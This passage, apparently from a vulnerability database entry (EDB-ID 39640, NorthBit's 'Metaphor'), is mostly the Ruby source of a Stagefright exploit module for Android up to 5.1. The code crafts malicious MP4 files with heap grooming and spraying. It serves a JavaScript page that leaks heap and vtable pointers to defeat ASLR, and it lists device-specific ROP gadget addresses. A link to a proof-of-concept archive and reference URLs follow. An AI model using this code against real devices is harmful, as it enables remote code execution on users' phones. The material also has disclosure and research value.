timescale mdhd_data << [ 314 ].pack('N') # duration mdhd_data << [ 0 ].pack('n') # lang trak_data << get_atom('mdhd', mdhd_data) end # Add this so that our file is identified as video/mp4 mp4v_data = '' mp4v_data << [ 0 ].pack('C') * 24 # padding mp4v_data << [ 1024 ].pack('n') # width mp4v_data << [ 768 ].pack('n') # height mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true # Here, we cause allocations such that we can replace the placeholder... if is_samsung trak_data << placeholder # Somethign we can free trak_data << shape_vector # Eat the loose block... trak_data << stbl # Cause the growth of the track->meta Vector else trak_data << stbl # Cause the growth of the track->meta Vector trak_data << placeholder # Somethign we can free trak_data << shape_vector # Eat the loose block... end # Add the thing whose entry in the MetaData vector we want to overwrite... trak_data << near_sampiter # Get our overflow data into memory trigger = '' trigger << tx3g_1 # Free the place holder trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C')) # Overflow the temporary buffer into the following MetaData array trigger << tx3g_2 # !!! NOTE !!! # On Samsung devices, the failure that causes ERR to be returned from # 'tx3g' processing leads to "skipTrack" being set. This means our # nasty track and it's metadata get deleted and not returned to the # browser -- effectively killing the infoleak. # # However! It also handles "skipTrack" being set specially and does not # immediately propagate the error to the caller. Instead, it returns OK. # This allows us to triggering the bug multiple times in one file, or -- # as we have in this case -- survive after and return successfully. if is_samsung # Add this as a nested track! trak_data << get_atom('trak', trigger) else trak_data << trigger end trak = get_atom('trak', trak_data) # On Samsung devices, we could put more chunks here but they will # end up smashing the temporary buffer further... chunks = [] chunks << get_ftyp() chunks << get_atom('moov') chunks << verified_trak * 0x200 chunks << shape_vector * groom_count chunks << trak mp4 = chunks.join mp4 end def get_mp4_rce(my_target, peer) # MPEG4 Fileformat Reference: # http://qtra.apple.com/index.html # # Structure: # [File type Chunk][Other Atom Chunks] # # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] # chunks = [] chunks << get_ftyp() # Note, this causes a few allocations moov_data = '' mvhd_data = [ 0, 0x41414141 ].pack('N*') mvhd_data << 'B' * 0x5c moov_data << get_atom('mvhd', mvhd_data) # Add a minimal, verified 'trak' to satisfy mLastTrack being set verified_trak = '' stbl_data = get_stsc(0x28) stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount verified_trak << get_atom('trak', get_atom('stbl', stbl_data)) # Add it to the file moov_data << verified_trak # The spray_addr field is typically determined empirically (by testing), but # has proven to be fairly predictable (99%). However, it does vary from # one device to the next (probably determined by the pre-loaded libraries). spray_addr = 0xb0c08000 spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil? # Construct a single page that we will spray page = build_spray(my_target, peer, spray_addr) return nil if page.nil? # Build a big block full of spray pages and and put it in an avcC chunk # (but don't add it to the 'moov' yet) spray = page * (((16 * 1024 * 1024) / page.length) - 20) avcc = get_atom('avcC', spray) # Make the nasty trak tkhd1 = '' tkhd1 << [ 0 ].pack('C') # version tkhd1 << 'D' * 3 # padding tkhd1 << 'E' * (5*4) # {c,m}time, id, ??, duration tkhd1 << 'F' * 0x10 # ?? tkhd1 << [ 0x10000, # a00 0, # a01 0, # dx 0, # a10 0x10000, # a11 0 # dy ].pack('N*') tkhd1 << 'G' * 0x14 # ?? # Add the tkhd (track header) to the nasty track trak1 = '' trak1 << get_atom('tkhd', tkhd1) # Build and add the 'mdia' (Media information) to the nasty track mdia1 = '' mdhd1 = [ 0 ].pack('C') # version mdhd1 << 'D' * 0x17 # padding mdia1 << get_atom('mdhd', mdhd1) mdia1 << get_atom('hdlr', 'F' * 0x38) # Media handler dinf1 = '' dinf1 << get_atom('dref', 'H' * 0x14) # Data information box minf1 = '' minf1 << get_atom('smhd', 'G' * 0x08) minf1 << get_atom('dinf', dinf1) stbl1 = get_stsc(2) minf1 << get_atom('stbl', stbl1) mdia1 << get_atom('minf', minf1) trak1 << get_atom('mdia', mdia1) # Add something to take up a slot in the 0x20 size range # NOTE: We have to be able to free this later... block = 'Q' * 0x1c trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block)) # Add a Track (hopefully right after) trak1 << verified_trak # Add the avcC chunk with the heap spray. We add it here so it's sure to be # allocated when we get control of the program counter... trak1 << avcc # Build the first of the nasty pair of tx3g chunks that trigger the # vulnerability alloc_size = 0x20 overflow_size = 0xc0 overflow = [ spray_addr ].pack('V') * (overflow_size / 4) tx3g_1 = get_atom('tx3g', overflow) trak1 << tx3g_1 # Free the original thing and put the tx3g temporary in it's place... block = 'R' * 0x40 trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block)) # Make the second one, which triggers the integer overflow big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size more_data = [ spray_addr ].pack('V') * (overflow_size / 4) tx3g_2 = get_atom('tx3g', more_data, big_num) trak1 << tx3g_2 # Add the nasty track to the moov data moov_data << get_atom('trak', trak1) # Finalize the moov chunk moov = get_atom('moov', moov_data) chunks << moov # Combine outer chunks together and voila. mp4 = chunks.join mp4 end def on_request_uri(cli, request) # If the request is for an mp4 file, we need to get the target from the @peers hash if request.uri =~ /\.mp4\?/i mp4_fn = request.uri.split('/')[-1] mp4_fn = mp4_fn.split('?')[0] mp4_fn[-4,4] = '' peer = @peers[mp4_fn] my_target = nil my_target = peer[:target] if peer if my_target.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer") return end # Extract the address(s) we just leaked... sia_addr = request.qstring['sia'].to_i # near_sampiter data address peer[:near_sampiter_addr] = sia_addr if sia_addr > 0 sfv_addr = request.qstring['sfv'].to_i # stagefright Vector<size_t> vtable ptr peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0 # reset after a crash.. if sia_addr == 0 && sfv_addr == 0 peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil end # Always use this header out_hdrs = {'Content-Type'=>'video/mp4'} if peer[:vector_vtable_addr].nil? # Generate the nasty MP4 to leak infoz mode = "infoleak" mp4 = get_mp4_leak(my_target, peer) else mode = "RCE" mp4 = get_mp4_rce(my_target, peer) if mp4.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4") return end end # Send the nasty MP4 file to trigger the vulnerability if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip' mp4 = Rex::Text.gzip(mp4) out_hdrs.merge!('Content-Encoding' => 'gzip') gzip = "gzip'd" else gzip = "raw" end client = "Browser" if request.headers['User-Agent'].include? 'stagefright' client = "SF" end addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ] print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})") # Send the nastiness! send_response(cli, mp4, out_hdrs) return end # Initialize a target. If none suitable, then we don't continue. my_target = target if my_target.name =~ /Automatic/ my_target = get_target(request) if my_target.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}") return end vprint_status("Target selected: #{my_target.name}") end # Generate an MP4 filename for this peer mp4_fn = rand_text_alpha(11) # Save the target for when they come back asking for this file # Also initialize the leak address to the first one @peers[mp4_fn] = { :target => my_target } # Send the index page mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4" html = %Q^<html> <head> <title>Please wait...</title> <script> var video; // the video tag var to_id; // timeout ID var req_start; // when we requested the video var load_start; // when we loaded the video // Give mediaserver some time to settle down after restarting -- increases reliability var waitTime = 100; // 6000; var error = false; var near_sampiter_addr = -1; var vector_vtable_addr = -1; var crashes = 0; function duration_changed() { var now = Date.now(); var req_time = now - req_start; var load_time = now - load_start; console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16)); if (load_time > 2000) { // probably crashed. reset the entire process.. near_sampiter_addr = -1; vector_vtable_addr = -1; waitTime = 6000; crashes += 1; if (crashes > 5) { console.log('too many crashes!!!'); stop_everything(); } } else { // if we got the near_sampiter_addr already, we are now trying to read the code pointer. // otherwise, we're trying to find near_sampiter_addr... if (near_sampiter_addr == -1) { // if we get this value, we failed to overwrite the metadata. try again. if (video.videoHeight != 768) { // XXX: TODO: parameterize if (video.videoHeight != 0) { // wtf? crashed?? value = video.videoHeight; console.log('leaked heap pointer: 0x' + value.toString(16)); near_sampiter_addr = value; } } } else if (vector_vtable_addr == -1) { // if we get this value, we failed to overwrite the metadata. try again. if (video.duration != 314) { // XXX: TODO: parameterize // zero means a value that could not be represented... if (video.duration != 0) { var value = Math.round(video.duration * 1000000); console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16)); vector_vtable_addr = value; } } } // otherwise, we just keep trying with the data we have... } if (error == false) { if (vector_vtable_addr == -1) { to_id = setTimeout(reload_leak, waitTime); } else { to_id = setTimeout(reload_rce, waitTime); } waitTime = 100; } } function stop_everything() { if (error == false) { console.log('---- GIVING UP!! ----'); error = true; } if (to_id != -1) { clearTimeout(to_id); } } function start() { video = document.getElementById('vid'); video.onerror = function() { console.log(' onError called!'); stop_everything(); } video.ondurationchange = duration_changed; //reload_rce(); reload_leak(); } function get_uri() { var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1; var uri = '#{mp4_uri}?x=' + rn; if (near_sampiter_addr != -1) { uri += '&sia=' + near_sampiter_addr; } if (vector_vtable_addr != -1) { uri += '&sfv=' + vector_vtable_addr; } return uri; } function reload_leak() { to_id = -1; var xhr = new XMLHttpRequest; xhr.responseType = 'blob'; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if (xhr.status != 200 || !xhr.response) { stop_everything(); return; } load_start = Date.now(); try { //var url = URL.createObjectURL(xhr.response); var a = new FileReader(); a.onload = function(e) { //console.log('onload: ' + e.target.result); video.src = e.target.result }; a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); } a.readAsDataURL(xhr.response); } catch(e) { console.log(' ERROR: ' + e.message); stop_everything(); } } }; xhr.open('GET', get_uri(), true); req_start = Date.now(); xhr.send(); } function reload_rce() { to_id = -1; video.src = get_uri(); } </script></head> <body onload='start()'> <video id=vid width=1px controls> Your browser does not support VIDEO tags. </video><br /> Please wait while we locate your content... </body> </html> ^ print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end # # Return some firmware-specific values to the caller. # # The VectorRVA field is extracted using the following command: # # $ arm-eabi-readelf -a libstagefright.so | grep _ZTVN7android6VectorIjEE # def get_details(my_target) details = { 'lrx' => { 'VectorRVA' => 0x10ae30, 'PivotStrategy' => 'lrx', 'Pivot1' => 0x67f7b, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1 'Pivot2' => 0xaf9dd, # ldm.w r4, {sp} ; pop {r3, pc} 'Adjust' => 0x475cd # pop {r3, r4, pc} }, 'lmy-1' => { 'VectorRVA' => 0x10bd58, 'PivotStrategy' => 'lmy-1', 'Pivot1' => 0x68783, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1 'Pivot2' => 0x81959, # ldm.w r4, {r1, ip, sp, pc} 'Adjust' => 0x479b1 # pop {r3, r4, pc} }, 'lmy-2' => { 'VectorRVA' => 0x10bd58, 'PivotStrategy' => 'lmy-2', 'Pivot1' => 0x6f093, # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1 'Pivot2' => 0x81921, # ldm.w r0!, {r1, ip, sp, pc} 'Adjust' => 0x479b1 # pop {r3, r4, pc} }, 'shamu / LYZ28E' => { 'VectorRVA' => 0x116d58, 'PivotStrategy' => 'lyz', 'Pivot1' => 0x91e91, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3 'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc} 'Adjust' => 0x44f81 # pop {r3, r4, pc} }, 'shamu / LYZ28J' => { 'VectorRVA' => 0x116d58, 'PivotStrategy' => 'lyz', 'Pivot1' => 0x91e49, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3 'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc} 'Adjust' => 0x44f81 # pop {r3, r4, pc} }, 'sm-g900v / OE1' => { 'VectorRVA' => 0x174048, 'PivotStrategy' => 'sm-g900v', 'Pivot1' => 0x89f83, # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5 'Pivot2' => 0xb813f, # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2 'Adjust' => 0x65421 # pop {r4, r5, pc} } } details[my_target['Rop']] end end
Exploit Database EDB-ID : 39640

Date de publication : 2016-03-29 22h00 +00:00
Auteur : NorthBit
EDB Vérifié : No

Source: https://github.com/NorthBit/Metaphor Metaphor - Stagefright with ASLR bypass By Hanan Be'er from NorthBit Ltd. Link to whitepaper: https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf Twitter: https://twitter.com/High_Byte Metaphor's source code is now released! The source include a PoC that generates MP4 exploits in real-time and bypassing ASLR. The PoC includes lookup tables for Nexus 5 Build LRX22C with Android 5.0.1. Server-side of the PoC include simple PHP scripts that run the exploit generator - I'm using XAMPP to serve gzipped MP4 files. The attack page is index.php. The exploit generator is written in Python and used by the PHP code. usage: metaphor.py [-h] [-c CONFIG] -o OUTPUT {leak,rce,suicide} ... positional arguments: {leak,rce,suicide} Type of exploit to generate optional arguments: -h, --help show this help message and exit -c CONFIG, --config CONFIG Override exploit configuration -o OUTPUT, --output OUTPUT Credits: To the NorthBit team E.P. - My shining paladin, for assisting in boosting this project to achieve all the goals. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39640.zip

Products Mentioned

Configuraton 0

Google>>Android >> Version To (including) 5.1

Références

https://www.exploit-db.com/exploits/38226/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/76682
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/40436/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/39640/
Tags : exploit, x_refsource_EXPLOIT-DB